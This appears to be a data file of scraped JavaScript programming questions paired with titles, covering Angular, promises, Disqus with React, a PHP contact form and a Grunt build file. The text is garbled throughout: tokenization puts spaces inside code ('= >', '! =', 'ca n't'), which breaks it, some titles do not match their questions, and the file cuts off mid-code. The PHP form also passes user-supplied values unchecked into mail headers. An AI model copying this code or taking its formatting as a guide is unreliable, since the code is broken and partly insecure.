Finding unpaired elements in an array "JS : I have a service that uses ngDialog ( that 's the only purpose of the service - to show common dialogs : alerts , confirms , etc ) . ngDialog requires scope object to be passed as parameter to interpolate dialog 's template.So I need to create a scope , assign it 's properties and pass to ngDialog.open.The problem is I ca n't inject $ rootScope ( or $ scope ) into service , and scope. $ new is the only way I could find to create an empty scope.When I inject $ rootScope like thisI get error : Unknown provider : $ rootScope Provider < - $ rootScope < - myServiceHowever , this works if I just use shortcut syntack for decalring dependencies : function myService ( $ rootScope , ngDialog ) { // $ rootScope here is accessible } But this approach is not minification-safe.So the question is : how do I create new scope in a service ? UPDATEHere is the jsfiddle that shows the structure I had in the project . The error occurred when service was called from the directive , and now the problem is gone.jsfiddle myService. $ inject = [ ' $ rootScope ' , 'ngDialog ' ] ;",Angular create new scope inside service JS : What does the below JavaScript mean ? Why is the function embedded inside ( ) ? ( function ( ) { var b = 3 ; a += b ; } ) ( ) ;,Strange JavaScript syntax like this : ( function ( ) { //code } ) ( ) ; ? "JS : I trying to create a 360 degree animation from In Design-to-HTML conversion.I get the folder name , and inside that folder are 50 to 80 images . I need to save those images in my folder , and to save each image name inside the script.Here 's my code : var doc = app.activeDocument ; for ( var j =0 ; j < doc.rectangles.length ; j++ ) { var nav = doc.rectangles [ j ] .extractLabel ( `` '' , ) ; alert ( `` Nav length `` +nav.length ) ; for ( var nav_get_name =0 ; nav_get_name < nav.length ; nav_get_name++ ) { alert ( nav [ nav_get_name ] [ 0 ] + '' = '' +nav [ nav_get_name ] [ 1 ] ) ; var path_name = ( nav [ 2 ] [ 1 ] ) ; } }","Using folder pathname , save all image files and file names" "JS : I have written a function that is being called in a loop ( map ) and that function is using promises . Now , I want that function to run synchronously and exit before its next instance is called.t2 is beingcalled five times , but I want each instance to be called only after the instance before it has returned the value . Currently its not behaving like that but invoking the function five times in parallel.I ca n't use async/await due to project limitations . function t1 ( ) { let arr1 = [ 1,2,3,4,5 ] ; return Promise.map ( arr1 , ( val ) = > { const params = { `` param1 '' : val1 } ; return t2 ( params ) ; } ) ; } function t2 ( event ) { return Promise.resolve ( ) .then ( { //do something //code does n't reach here in sync manner . all five instance are invoked and then code reaches here for first instance and so on } ) .then ( { //promise chaining . do something more } ) }",Execute promises map sequentially "JS : I am thinking of secure ways to serve HTML and JSON to JavaScript . Currently I am just outputting the JSON like : but I do realize this is a security risk -- because the articles are created by users . So , someone could insert script tags ( just an example ) for the content and link to his article directly in the AJAX API . Thus , I am now wondering what 's the best way to prevent such issues . One way would be to encode all non alphanumerical characters from the input , and then decode in JavaScript ( and encode again when put in somewhere ) .Another option could be to send some headers that force the browser to never render the response of the AJAX API requests ( Content-Type and X-Content-Type-Options ) . ajax.php ? type=article & id=15 { `` name '' : `` something '' , `` content '' : `` some content '' }",Serving JSON and HTML securely to JavaScript "JS : I 've seen this sort function working fine : But I do n't really understand the mechanics of this little function . When it is comparing a and b , which numbers of the array is it really comparing ? If say , it picked up the first two numbers 1 and 5 , the function will return -4 . What does that mean to the sort order ? Or is it just the negative boolean value ? Even if it is , how does the sort really happen ? var arr = [ 1,5,3,7,8,6,4,3,2,3,3,4,5,56,7,8,8 ] ; console.log ( arr.sort ( function ( a , b ) { return a - b ; } ) ) ;",What really happens in Javascript Sort "JS : I 've been having a hell of a time getting the comment count script to work on my react pages . To start , they recommend putting the script in my index.html file , at the bottom of the < body > tag . I 've done this , and seen no result.I have an index.js file which is loading all my components , including the component ( let 's call it ResultComponent.js ) which I want to have the comment count < span > tags in . The < span > tags themselves look like this : So far , so simple . I 'm not using any < a > tags so I have n't got # disqus_thread anywhere . When I load my page , I expect my comment count to go up , but no such luck . To test this , I copied the raw script , unaltered , from the raw count.js script ( which is located here ) . I then pasted it straight into Chrome 's devtools console , and it worked ; all the relevant comment counters went to their appropriate values.EDIT : a day later , more prodding ; I added breakpoints in the actual code in the disqus.com domain . The script in the script tag is running just fine at the right time , except it 's missing variables when it enters the displayCount ( ) function . There 's several variables that just are n't given values so it ca n't go in and populate the comment counts , it always fails out . I have no idea why this fails when it 's called from within my index.html but not when I paste the raw count.js code into my console and do it there . No idea why.To clarify , this is the relevant code : When it runs properly , from my pasting the script into the console , the j variable is defined . When it runs called from index.html , j is undefined , so it fails at the first if . The calling url is exactly the same in both situations : http : //mtg-hunter.disqus.com/count-data.js ? 1=19767 & 1=235597 & 1=373322 & 1=382310 & 1=382841 & 1=382866 & 1=383023 & 1=397543 & 1=397682 & 1=398434 . That gives the b parameter , and when I run the script locally it defines j so that the assignment operator in the if can work ( which is a really weird way of doing it , but ok ) .edit again : I should point out I 'm doing this on a local test server ( localhost:3000 ) , not sure if that makes a difference or not ? edit more : The answer to my above question turns out to be 'no ' . I uploaded my code to my server and the production site also showed that the script was n't running properly . This is absurd ... I 'm out of ideas by now.edit again more : Partial breakthrough ... I added this code to ResultComponent.js : Good news ; when I refresh the page , it shows the right comment count ! Hooray ! Bad news : when I change parts of the page that hide the Result component , and then bring it back ( triggering componentDidUpdate ) , the DISQUSWIDGETS.getCount ( ) call does n't work . It still gets called , but the displayCount part of the script never does , so the DOM is never updated with the new information . It 's yet another example of this horrid script behaving differently despite being called in exactly the same way ... < body > < div id= '' app '' > < /div > < script src= '' static/index.js '' > < /script > < script id= '' dsq-count-scr '' src= '' //mtg-hunter.disqus.com/count.js '' async > < /script > < /body > var commentCount = < span className= '' disqus-comment-count '' onClick= { function ( ) { this.setState ( { currentSelectedTab : 4 } ) } .bind ( this ) } data-disqus-identifier= { idGoesHere } style= { { fontVariant : '' small-caps '' } } > 0 Comments < /span > e.displayCount = function ( b ) { for ( var c , a , d , e = b.counts , b = b.text.comments ; c = e.shift ( ) ; ) if ( a = j [ c.id ] ) { switch ( c.comments ) { case 0 : d = b.zero ; break ; case 1 : d = b.one ; break ; default : d = b.multiple } c = d.replace ( `` { num } '' , c.comments ) ; a = a.elements ; for ( d = a.length - 1 ; d > = 0 ; d -- ) a [ d ] .innerHTML = c } } ; componentDidMount ( ) { DISQUSWIDGETS.getCount ( ) ; } , componentDidUpdate ( ) { DISQUSWIDGETS.getCount ( ) ; } ,",Disqus 's count.js script does n't run properly in index.html with react.js website "JS : Ok , consider this : I have a big array containing arrays , -1 , a and b.The -1 means the field is empty : Now i want to check smaller arrays agains this : To see if one existing value from board match the pattern in solutions.Does a match any of pattern ? Does b match any of the pattern ? Can any of you see a better way than making a crazy nested loop : In this example I have used tic-tac-toe.But i could be anything . var board = [ [ -1 , -1 , a ] , [ -1 , -1 , b ] , [ b , -1 , a ] ] var solutions = [ [ [ 1 , 1 , 1 ] ] , [ [ 1 ] , [ 1 ] , [ 1 ] ] , [ [ 1 ] , [ 0,1 ] , [ 0,0,1 ] ] , [ [ 0,0,1 ] , [ 0,1 ] , [ 1 ] ] ] var q , w , e , r , t , y ; q=w=e=r=t=y=0 ; for ( ; q < 3 ; q++ ) { for ( ; w < 3 ; w++ ) { for ( ; e < SOLUTIONS.length ; e++ ) { ... . and so on ... } } }",Matching sub-array in array . Scheme in scheme "JS : I have an expensive calculation that is called by an effect . I now want to ensure , that this calculation is never called concurrently , i.e . if it is called a second time while the first call is still running , the second call should be ignored.My approach to this problem was to create 2 actions : calculate and setLoading.with Actions.setLoading obviously setting state.loading . However , if I start the calculation 2 times in a row : the output isand therefore , the expensive calculation is executed two times.How can I prevent this ? @ Effect ( ) calculate $ = this.updates $ .whenAction ( CALCULATE ) .flatMap ( data = > { console.debug ( 'LOADING ' , data.state.loading ) ; if ( ! data.state.loading ) { this.store.dispatch ( Actions.setLoading ( true ) ) ; await DO_THE_EXPENSIVE_CALCULATION ( ) ; this.store.dispatch ( Actions.setLoading ( false ) ) ; } } ) ; store.dispatch ( Actions.calculate ( ) ) ; store.dispatch ( Actions.calculate ( ) ) ; LOADING falseLOADING false",How to prevent concurrent effect execution "JS : Yesterday I started learning JavaScript . I am using the system Codecademy , but I 'm stuck . When I say `` stuck '' , I mean I have assignment with which I can not see what is wrong.The assignment is : Create an array , myArray . Its first element should be a number , its second should be a boolean , its third should be a string , and its fourth should be ... an object ! You can add as many elements of any type as you like after these first four.This is the code I made : The error : Oops , try again . Is the fourth element of myArray an object ? Hope you can help me . var myObj = { name : 'Hansen ' } ; var myArray = [ 12 , true , `` Steen '' , myObj.name ] ;","Learning to programming JavaScript , but I 'm stuck" "JS : My store looks like this , My textarea looks like thisMy action is My reducerIt works only if arry is an object , I had to make changes to the stream to an array and I am confused how I can update to an array , also how does get the right value from the store . { name : `` john '' , foo : { } , arr : [ { id:101 , desc : 'comment ' } , { id:101 , desc : 'comment2 ' } ] } < textarea id= { arr.id } // '' 101 '' name= { ` tesc : ` } value= { this.props.store.desc } onChange= { this.props.onChng } / > export const onChng = ( desc ) = > ( { type : Constants.SET_DESC , payload : { desc } } ) ; case Constants.SET_DESC : return update ( state , { store : { streams : { desc : { $ set : action.payload.desc } } } } ) ;","In React/Redux reducer , how can I update a string in an nested array in an immutable way ?" "JS : Considering that console was n't overriden and refers to native object , console.log method ( and possibly others ) is extracted from console object withIs it 100 % safe in terms of browser and Node compatibility ? A significant amount of JS examples ( maybe too illustrative ) with bound console.log suggests that it may be not . var log = obj.log = console.log ; // instead of console.log.bind ( console ) log ( ... ) ; obj.log ( ... ) ;",console.log method extraction from console "JS : EditLooks like it was an issue on my part and my usage of jsfiddle : ? Ive been reading a couple of articles on hoisting lately , one is by Nicholas Zakas , and the other is by Ben Cherry.Im trying to follow the examples and just test on my own to make sure I fully grasp it but Im having an issue mainly with this example , Instead of logging undefined its logging 1 . If I am understanding everything correctly , a should be undefined , because it should exist in the window scope due to the var statement being hoisted to the top , so it should not be assigned the value.But the following is acting as expected , foo is undefined , and baz is not defined . I have a fiddle here with both examples . Really just trying to wrap my head around this . Has something changed since these articles were written maybe ? If anyone can shed some light on this it would be appreciated . Im using Chrome 14 when testing . if ( ! ( ' a ' in window ) ) { var a = 1 ; } console.log ( a ) ; ( function bar ( ) { console.log ( foo ) ; var foo = 10 ; console.log ( baz ) ; } ) ( ) ;",Trying to fully understand JavaScript hoisting "JS : Is it possible to select all elements with a certain class , but not if they contain certain .text ( ) ? Here is what I have so far -What I want to do with this code is to not include the < div > with the 0 in it . < div class= '' test '' > 0 < /div > < div class= '' test '' > 1 < /div > < div class= '' test '' > 2 < /div > < div class= '' test '' > 3 < /div > < div class= '' test '' > 4 < /div > var divList = $ ( `` .test '' ) .toArray ( ) ; var divLength = divList.length ;",Find all elements that do n't contain a certain string "JS : Console log shows : `` Uncaught ReferenceError : a is not defined '' ; at the middle of the browse , Log shows : `` undefined '' How does this code run in js and what causes this difference < script type= '' text/javascript '' > alert ( a ) ; < /script > < script type= '' text/javascript '' > alert ( a ) ; var a = 1 ; < /script >",Difference between `` alert ( a ) '' and `` alert ( a ) ; var a =1 ; '' in javascript ? JS : The question title almost says it all : do longer keys make for slower lookup ? Is : Slower than : Another sub-question is whether the type of the characters in the string used as key matters . Are alphanumeric key-strings faster ? I tried to do some research ; there does n't seem to be much info online about this . Any help/insight would be extremely appreciated . someObj [ `` abcdefghijklmnopqrstuv '' ] someObj [ `` a '' ],JavaScript : Do longer keys make object lookup slower ? "JS : Hi i am a newbie to php and am following this tutorialhttp : //tutorialpot.com/2011/06/fancy-contact-form-with-inline-validation/ # comment-1771 i am wondering where do i put in my email address so users can send a email to me thanks in advance < ? php function checkLen ( $ str , $ len=2 ) // & len definens the minimun length of the input fields { return isset ( $ _POST [ $ str ] ) & & mb_strlen ( strip_tags ( $ _POST [ $ str ] ) , '' utf-8 '' ) > $ len ; } function checkEmail ( $ str ) { return preg_match ( `` /^ [ \.A-z0-9_\-\+ ] + [ @ ] [ A-z0-9_\- ] + ( [ . ] [ A-z0-9_\- ] + ) + [ A-z ] { 1,4 } $ / '' , $ str ) ; } foreach ( $ _POST as $ k= > $ v ) { $ _POST [ $ k ] =stripslashes ( $ _POST [ $ k ] ) ; $ _POST [ $ k ] =htmlspecialchars ( strip_tags ( $ _POST [ $ k ] ) ) ; } //session names must be same with that in contact form session_name ( `` tpot_contact '' ) ; @ session_start ( ) ; if ( isset ( $ _POST [ 'send ' ] ) ) { $ err = array ( ) ; if ( ! checkLen ( 'name ' ) ) $ err [ ] ='The name field is too short or empty ! ' ; if ( ! checkLen ( 'email ' ) ) $ err [ ] ='The email field is too short or empty ! ' ; else if ( ! checkEmail ( $ _POST [ 'email ' ] ) ) $ err [ ] ='Your email is not valid ! ' ; if ( ! checkLen ( 'subject ' ) ) $ err [ ] ='You have not selected a subject ! ' ; if ( ! checkLen ( 'message ' ) ) $ err [ ] ='The message field is too short or empty ! ' ; if ( ( int ) $ _POST [ 'captcha ' ] ! = $ _SESSION [ 'expected ' ] ) $ err [ ] ='Wrong security code ! ' ; if ( count ( $ err ) ) { $ _SESSION [ 'errStr ' ] = implode ( ' < br / > ' , $ err ) ; header ( 'Location : '. $ _SERVER [ 'HTTP_REFERER ' ] ) ; exit ( ) ; } //submission data $ IP= $ _SERVER [ 'REMOTE_ADDR ' ] ; $ name= $ _POST [ 'name ' ] ; $ email= $ _POST [ 'email ' ] ; $ date= ( gmdate ( `` Y/m/d `` ) ) ; $ time = date ( ' H : i : s ' ) ; $ message= $ _POST [ 'message ' ] ; $ from= '' noreply @ tutorialpot.com '' ; $ subject = `` from `` . $ _POST [ 'name ' ] . '' | contact form '' ; $ headers = `` From : `` . $ from . `` \r\n '' ; $ headers .= `` Reply-to : `` . $ from . `` \r\n '' ; $ headers = 'Content-type : text/html ; charset=iso-8859-1 ' . `` \r\n '' ; //checks whether send to my email address is set if ( $ cc == 1 ) { $ headers .= 'Cc : ' . $ _POST [ 'email ' ] . `` \r\n '' ; } $ msg = `` < p > < strong > Name : < /strong > '' . $ name . `` < /p > < p > < strong > Email Address : < /strong > '' . $ email . `` < /p > < p > < strong > Enquiry : < /strong > '' . $ _POST [ 'subject ' ] . `` < /p > < p > < strong > Message : < /strong > '' . $ message . `` < /p > < br/ > < br/ > < p > This message was sent from the IP Address : '' . $ ipaddress . '' on '' . $ date . `` at '' . $ time . `` < /p > '' ; if ( @ mail ( $ email , $ subject , $ msg , $ headers ) ) { $ success=array ( ) ; $ success [ ] ='Your message has been sent ! | Thank you ' ; $ _SESSION [ 'sent ' ] = implode ( ' < br / > ' , $ success ) ; header ( 'Location : '. $ _SERVER [ 'HTTP_REFERER ' ] ) ; exit ( ) ; } else { $ err [ ] ='your message could not be sent due to a network problem please try again. ! ' ; $ _SESSION [ 'errStr ' ] = implode ( ' < br / > ' , $ err ) ; header ( 'Location : '. $ _SERVER [ 'HTTP_REFERER ' ] ) ; exit ( ) ; } } ? > < div class= '' fieldContainer '' > < label for= '' name '' > *Name : < /label > < input class= '' validate [ required , minSize [ 3 ] ] input1 '' id= '' name '' name= '' name '' type= '' text '' autofocus= '' autofocus '' placeholder= '' NAME '' / > < br / > < br / > < label for= '' email '' > *Email < /label > < input class= '' validate [ required , custom [ email ] ] input1 '' id= '' email '' name= '' email '' type= '' text '' placeholder= '' EMAIL '' / > < br / > < br / > < label for= '' subect '' > *Subject < /label > < select id= '' dropdown4 '' name= '' subject '' class= '' validate [ required ] input1 '' > < option selected= '' selected '' value= '' '' > -- Choose -- < /option > < option value= '' Quote '' > Quote < /option > < option value= '' Suggestion '' > Suggestion < /option > < option value= '' Question '' > Question < /option > < option value= '' Business Proposal '' > Business Proposal < /option > < option value= '' Advertising '' > Advertising < /option > < option value= '' Complaint '' > Complaint < /option > < option value= '' Other '' > Other < /option > < /select > < br / > < br / > < label for= '' message '' > *Message < /label > < textarea rows= '' 10 '' cols= '' 15 '' name= '' message '' class= '' validate [ required , minSize [ 3 ] , maxSize [ 300 ] ] input1 '' id= '' message '' placeholder= '' MESSAGE CONTENTS '' > < /textarea > < br / > < br / > < legend > *Human Verification ( HELP US FIGHT SPAM ) < /legend > < label for= '' captcha '' > 25+9= < /label > < input type= '' text '' class= '' validate [ required , custom [ integer ] ] input1 `` name= '' captcha '' id= '' captcha '' maxlength= '' 2 '' placeholder= '' DO A LITTLE MATH '' / > < p > < input type='checkbox ' id='cc ' name='cc ' value= ' 1 ' / > Send a copy to your email address < /p > < /div > < div class= '' signupButton '' > < input name= '' send '' type= '' submit '' class= '' btnsubmit '' id= '' btnsubmit '' / > < ! -- < input class= '' blackb '' type= '' submit '' name= '' send '' id= '' submit '' / > -- > < /div > < /form >",Send php email from contact form "JS : Since yesterday , when I try to make a build for iOs it wont succeed and throw this error : I 've already tried cheking out a new project from git , removing and reinstalling modules , removing and readding the platform in ionic , I do n't know what else I could try.Please , could someone give me some enlightenment on this issue ? Thanks in advance . ( node:3043 ) UnhandledPromiseRejectionWarning : TypeError : Can not read property 'toLowerCase ' of undefined at /Users/username/Documents/petpo-fe-mobile-bugs/platforms/ios/cordova/lib/list-emulator-build-targets:54:45 at Array.forEach ( < anonymous > ) at /Users/username/Documents/petpo-fe-mobile-bugs/platforms/ios/cordova/lib/list-emulator-build-targets:52:44 at Array.reduce ( < anonymous > ) at /Users/username/Documents/petpo-fe-mobile-bugs/platforms/ios/cordova/lib/list-emulator-build-targets:50:57 at Array.reduce ( < anonymous > ) at /Users/username/Documents/petpo-fe-mobile-bugs/platforms/ios/cordova/lib/list-emulator-build-targets:45:28 at _fulfilled ( /Users/username/Documents/petpo-fe-mobile-bugs/platforms/ios/cordova/node_modules/q/q.js:854:54 ) at /Users/username/Documents/petpo-fe-mobile-bugs/platforms/ios/cordova/node_modules/q/q.js:883:30 at Promise.promise.promiseDispatch ( /Users/username/Documents/petpo-fe-mobile-bugs/platforms/ios/cordova/node_modules/q/q.js:816:13 ) ( node:3043 ) UnhandledPromiseRejectionWarning : Unhandled promise rejection . This error originated either by throwing inside of an async function without a catch block , or by rejecting a promise which was not handled with .catch ( ) . ( rejection id : 1 ) ( node:3043 ) [ DEP0018 ] DeprecationWarning : Unhandled promise rejections are deprecated . In the future , promise rejections that are not handled will terminate the Node.js process with a non-zero exit code .",iOs build failing - UnhandledPromiseRejectionWarning : TypeError : Can not read property 'toLowerCase ' of undefined "JS : I am attempting to create a series of window sized divs with inner divs of variable sizes > window size . The catch is it needs to scroll as if the divs where not nested . In short I want THIS : https : //jsfiddle.net/cbuh8psd/to act just like THIShttps : //jsfiddle.net/t6zrvo7u/1/Unfortunately scroll `` Focus '' is triggered by hovering over the scrollable element . In this case it is an undesirable behavior.There are 2 possible solutions that I am currently aware of.Manually Assigning scroll `` Focus '' via javascript . ( Optimal ) Completely overwriting default HTML scrolling javascript , forexample the library ISCROLL5 . ( ok , if the performance hit is small ) Unfortunately after looking through developer.mozilla 's HTML5 documentation I have not run across any way to `` Focus '' scrolling to an element via javascript . As for option 2 : ISCROLL5 has had an undesirable performance hit with over ~15-20 scrolling divs . I am hoping I am missing something here , any solutions , fixes , or advice would be much appreciated . css { block { height:100wh ; } innerBlockSmall { height:100wh ; } innerBlockLarge { height:200wh ; } } < div class= '' block '' > < div class= '' innerBlockLarge '' > < /div > < /div > < div class= '' block '' > < div class= '' innerBlockSmall '' > < /div > < /div > css { innerBlockSmall { height:100wh ; } innerBlockLarge { height:200wh ; } } < div class= '' innerBlockLarge '' > < /div > < div class= '' innerBlockSmall '' > < /div >",Creating Seamless nested scroll rollover "JS : I am using Grunt and executing cmd `` grunt build '' to create a distribution folder containing an AngularJS app . As a standalone my app is working fine . Once I create a distribution for the app the app starts to crash pretty quickly.I am seeing in F12 Tools Console is:10 $ digest ( ) iterations reached . Aborting ! I am suspicious of a file in my .tmp directory called vendor.js and a failure to minify , uglify and or concat this file correctly because of controller dependency injection variables mangling injected controller arguments like `` $ scope '' to `` a '' for example , even though I am using ngAnnotate.See I am using UglifyJs and calling ngAnnotate before Uglify and Concat but I can not remove UglifyJs from useMinPrepare or I have other errors such as the scripts directory not even being created in my dist directory : I am setting mangle = false in my GruntJs file but I am suspicious of useMinPrepare js : [ 'concat ' , 'uglifyjs ' ] changing the sequence of execution and running uglify before ngAnnotate can run when useMin is called , even though I call useMin after ngAnnotate.I am new to Grunt and this app has been passed to me from another developer.I found this article that does n't exactly make sense to me and also is n't a code change that seems to apply to my Gruntfile.js but I thought maybe I was on to something : https : //github.com/DaftMonk/generator-angular-fullstack/issues/164I have set the Uglify mangle option to false but it has not fixed my issue.Here is my Gruntfile.js code : useminPrepare : { html : ' < % = yeoman.app % > /index.html ' , options : { dest : ' < % = yeoman.dist % > ' , flow : { html : { steps : { js : [ 'concat ' , 'uglifyjs ' ] , css : [ 'cssmin ' ] } , post : { } } } } } , module.exports = function ( grunt ) { // Load grunt tasks automatically require ( 'load-grunt-tasks ' ) ( grunt ) ; // Time how long tasks take . Can help when optimizing build times require ( 'time-grunt ' ) ( grunt ) ; grunt.loadNpmTasks ( 'grunt-connect-proxy ' ) ; // Define the configuration for all the tasks grunt.initConfig ( { // Project settings yeoman : { // configurable paths app : require ( './bower.json ' ) .appPath || 'app ' , dist : 'dist ' } , // Watches files for changes and runs tasks based on the changed files watch : { bower : { files : [ 'bower.json ' ] , tasks : [ 'bowerInstall ' ] } , js : { files : [ ' < % = yeoman.app % > /scripts/**/*.js ' ] , // tasks : [ 'newer : jshint : all ' ] , options : { livereload : true } } , html : { files : [ '**/*.html ' ] , options : { livereload : true } } , jsTest : { files : [ 'test/spec/ { , */ } *.js ' ] , tasks : [ 'newer : jshint : test ' , 'karma ' ] } , compass : { files : [ ' < % = yeoman.app % > /styles/ { , */ } * . { scss , sass } ' ] , tasks : [ 'compass : server ' , 'autoprefixer ' ] } , gruntfile : { files : [ 'Gruntfile.js ' ] } , livereload : { options : { livereload : ' < % = connect.options.livereload % > ' } , files : [ ' < % = yeoman.app % > / { , */ } *.html ' , '.tmp/styles/ { , */ } *.css ' , ' < % = yeoman.app % > /images/ { , */ } * . { png , jpg , jpeg , gif , webp , svg } ' ] } } , // The actual grunt server settings connect : { options : { port : 9000 , // Change this to ' 0.0.0.0 ' to access the server from outside . hostname : ' 0.0.0.0 ' , //hostname : 'localhost ' , livereload : 35729 } , proxies : [ { context : [ '/api ' , '/images ' ] , host : '127.0.0.1 ' , port : 60878 , changeOrigin : true } ] , livereload : { options : { open : true , base : [ '.tmp ' , ' < % = yeoman.app % > ' ] , middleware : function ( connect , options ) { var middlewares = [ ] ; if ( ! Array.isArray ( options.base ) ) { options.base = [ options.base ] ; } // Setup the proxy middlewares.push ( require ( 'grunt-connect-proxy/lib/utils ' ) .proxyRequest ) ; // setup push state middlewares.push ( require ( 'grunt-connect-pushstate/lib/utils ' ) .pushState ( ) ) ; // Serve static files options.base.forEach ( function ( base ) { middlewares.push ( connect.static ( base ) ) ; } ) ; return middlewares ; } } } , test : { options : { port : 9001 , base : [ '.tmp ' , 'test ' , ' < % = yeoman.app % > ' ] } } , dist : { options : { base : ' < % = yeoman.dist % > ' , middleware : function ( connect , options ) { var middlewares = [ ] ; if ( ! Array.isArray ( options.base ) ) { options.base = [ options.base ] ; } // Setup the proxy middlewares.push ( require ( 'grunt-connect-proxy/lib/utils ' ) .proxyRequest ) ; // setup push state middlewares.push ( require ( 'grunt-connect-pushstate/lib/utils ' ) .pushState ( ) ) ; // Serve static files options.base.forEach ( function ( base ) { middlewares.push ( connect.static ( base ) ) ; } ) ; return middlewares ; } } } } , // Make sure code styles are up to par and there are no obvious mistakes jshint : { options : { jshintrc : '.jshintrc ' , reporter : require ( 'jshint-stylish ' ) } , all : [ 'Gruntfile.js ' , ' < % = yeoman.app % > /scripts/ { , */ } *.js ' ] , test : { options : { jshintrc : 'test/.jshintrc ' } , src : [ 'test/spec/ { , */ } *.js ' ] } } , // Empties folders to start fresh clean : { dist : { files : [ { dot : true , src : [ '.tmp ' , ' < % = yeoman.dist % > /* ' , ' ! < % = yeoman.dist % > /.git* ' ] } ] } , server : '.tmp ' } , // Add vendor prefixed styles autoprefixer : { options : { browsers : [ 'last 1 version ' ] } , dist : { files : [ { expand : true , cwd : '.tmp/styles/ ' , src : ' { , */ } *.css ' , dest : '.tmp/styles/ ' } ] } } , // Automatically inject Bower components into the app bowerInstall : { app : { src : [ ' < % = yeoman.app % > /index.html ' ] , ignorePath : ' < % = yeoman.app % > / ' // , exclude : [ `` bower_components/angular-snap/angular-snap.css '' ] } , sass : { src : [ ' < % = yeoman.app % > /styles/ { , */ } * . { scss , sass } ' ] , ignorePath : ' < % = yeoman.app % > /bower_components/ ' } } , // Compiles Sass to CSS and generates necessary files if requested compass : { options : { sassDir : ' < % = yeoman.app % > /styles ' , cssDir : '.tmp/styles ' , generatedImagesDir : '.tmp/images/generated ' , imagesDir : ' < % = yeoman.app % > /images ' , javascriptsDir : ' < % = yeoman.app % > /scripts ' , fontsDir : ' < % = yeoman.app % > /styles/fonts ' , importPath : ' < % = yeoman.app % > /bower_components ' , httpImagesPath : '/images ' , httpGeneratedImagesPath : '/images/generated ' , httpFontsPath : '/styles/fonts ' , relativeAssets : false , assetCacheBuster : false , raw : 'Sass : :Script : :Number.precision = 10\n ' } , dist : { options : { generatedImagesDir : ' < % = yeoman.dist % > /images/generated ' , fontsDir : ' < % = yeoman.dist % > /styles/fonts ' } } , server : { options : { debugInfo : false } } } , // Renames files for browser caching purposes rev : { dist : { files : { src : [ ' < % = yeoman.dist % > /scripts/ { , */ } *.js ' , ' < % = yeoman.dist % > /styles/ { , */ } *.css ' , ' < % = yeoman.dist % > /images/ { , */ } * . { png , jpg , jpeg , gif , webp , svg } ' // , ' < % = yeoman.dist % > /styles/fonts/* ' ] } } } , // Reads HTML for usemin blocks to enable smart builds that automatically // concat , minify and revision files . Creates configurations in memory so // additional tasks can operate on them useminPrepare : { html : ' < % = yeoman.app % > /index.html ' , options : { dest : ' < % = yeoman.dist % > ' , flow : { html : { steps : { js : [ 'concat ' , 'uglifyjs ' ] , css : [ 'cssmin ' ] } , post : { } } } } } , uglify : { dist : { options : { report : 'min ' , mangle : false // compress : false , // beautify : true } } } , // Performs rewrites based on rev and the useminPrepare configuration usemin : { html : [ ' < % = yeoman.dist % > / { , */ } *.html ' ] , css : [ ' < % = yeoman.dist % > /styles/ { , */ } *.css ' ] , options : { assetsDirs : [ ' < % = yeoman.dist % > ' , ' < % = yeoman.dist % > /styles/fonts ' , ' < % = yeoman.dist % > /images ' ] } } , concat : { options : { separator : grunt.util.linefeed + `` ; '' + grunt.util.linefeed } } , // The following *-min tasks produce minified files in the dist folder // cssmin : { // options : { // root : ' < % = yeoman.dist % > ' // } // } , imagemin : { dist : { files : [ { expand : true , cwd : ' < % = yeoman.app % > /images ' , src : ' { , */ } * . { png , jpg , jpeg , gif } ' , dest : ' < % = yeoman.dist % > /images ' } ] } } , svgmin : { dist : { files : [ { expand : true , cwd : ' < % = yeoman.app % > /images ' , src : ' { , */ } *.svg ' , dest : ' < % = yeoman.dist % > /images ' } ] } } , htmlmin : { dist : { options : { collapseWhitespace : true , collapseBooleanAttributes : true , removeCommentsFromCDATA : true , removeOptionalTags : true } , files : [ { expand : true , cwd : ' < % = yeoman.dist % > ' , src : [ '*.html ' , 'scripts/ { , */ } *.html ' ] , dest : ' < % = yeoman.dist % > ' } ] } } , // ngmin tries to make the code safe for minification automatically by // using the Angular long form for dependency injection . It does n't work on // things like resolve or inject so those have to be done manually . ngAnnotate : { dist : { files : [ { expand : true , cwd : '.tmp/concat/scripts ' , src : '*.js ' , dest : '.tmp/concat/scripts ' } ] } } , ngtemplates : { fctrs : { cwd : `` < % = yeoman.app % > '' , src : [ 'scripts/**/*.html ' ] , dest : '.tmp/concat/scripts/templates.js ' } } , // Replace Google CDN references cdnify : { dist : { html : [ ' < % = yeoman.dist % > /*.html ' ] } } , // Copies remaining files to places other tasks can use copy : { dist : { files : [ { expand : true , dot : true , cwd : ' < % = yeoman.app % > ' , dest : ' < % = yeoman.dist % > ' , src : [ '* . { ico , png , txt } ' , '.htaccess ' , '*.html ' , 'views/ { , */ } *.html ' , 'images/ { , */ } * . { webp } ' , 'styles/fonts/* ' , 'statics/** ' , 'test_data/**/*.json ' ] } , { expand : true , cwd : '.tmp/images ' , dest : ' < % = yeoman.dist % > /images ' , src : [ 'generated/* ' ] } ] } , styles : { expand : true , cwd : ' < % = yeoman.app % > /styles ' , dest : '.tmp/styles/ ' , src : ' { , */ } *.css ' } } , processhtml : { options : { commentMarker : `` process '' } , dist : { files : { ' < % = yeoman.dist % > /index.html ' : [ ' < % = yeoman.dist % > /index.html ' ] } } } , // Run some tasks in parallel to speed up the build process concurrent : { server : [ 'compass : server ' ] , test : [ 'compass ' ] , dist : [ 'compass : dist ' , 'imagemin ' , 'svgmin ' ] } , // Test settings karma : { unit : { configFile : 'karma.conf.js ' , singleRun : true } } } ) ; grunt.registerTask ( 'serve ' , function ( target ) { if ( target === 'dist ' ) { return grunt.task.run ( [ 'build ' , 'configureProxies : server ' , 'connect : dist : keepalive ' ] ) ; } grunt.task.run ( [ 'clean : server ' , 'bowerInstall ' , 'concurrent : server ' , 'autoprefixer ' , 'configureProxies : server ' , 'connect : livereload ' , 'watch ' ] ) ; } ) ; grunt.registerTask ( 'server ' , function ( target ) { grunt.log.warn ( 'The ` server ` task has been deprecated . Use ` grunt serve ` to start a server . ' ) ; grunt.task.run ( [ 'serve : ' + target ] ) ; } ) ; grunt.registerTask ( 'test ' , [ 'clean : server ' , 'concurrent : test ' , 'autoprefixer ' , 'connect : test ' , 'karma ' ] ) ; grunt.registerTask ( 'build ' , [ 'clean : dist ' , 'bowerInstall ' , 'useminPrepare ' , 'concurrent : dist ' , 'autoprefixer ' , 'concat ' , 'ngAnnotate ' , 'ngtemplates ' , 'copy : dist ' , 'cdnify ' , 'cssmin ' , 'uglify ' , 'rev ' , 'usemin ' , 'processhtml ' , 'htmlmin ' ] ) ; grunt.registerTask ( 'default ' , [ 'newer : jshint ' , 'test ' , 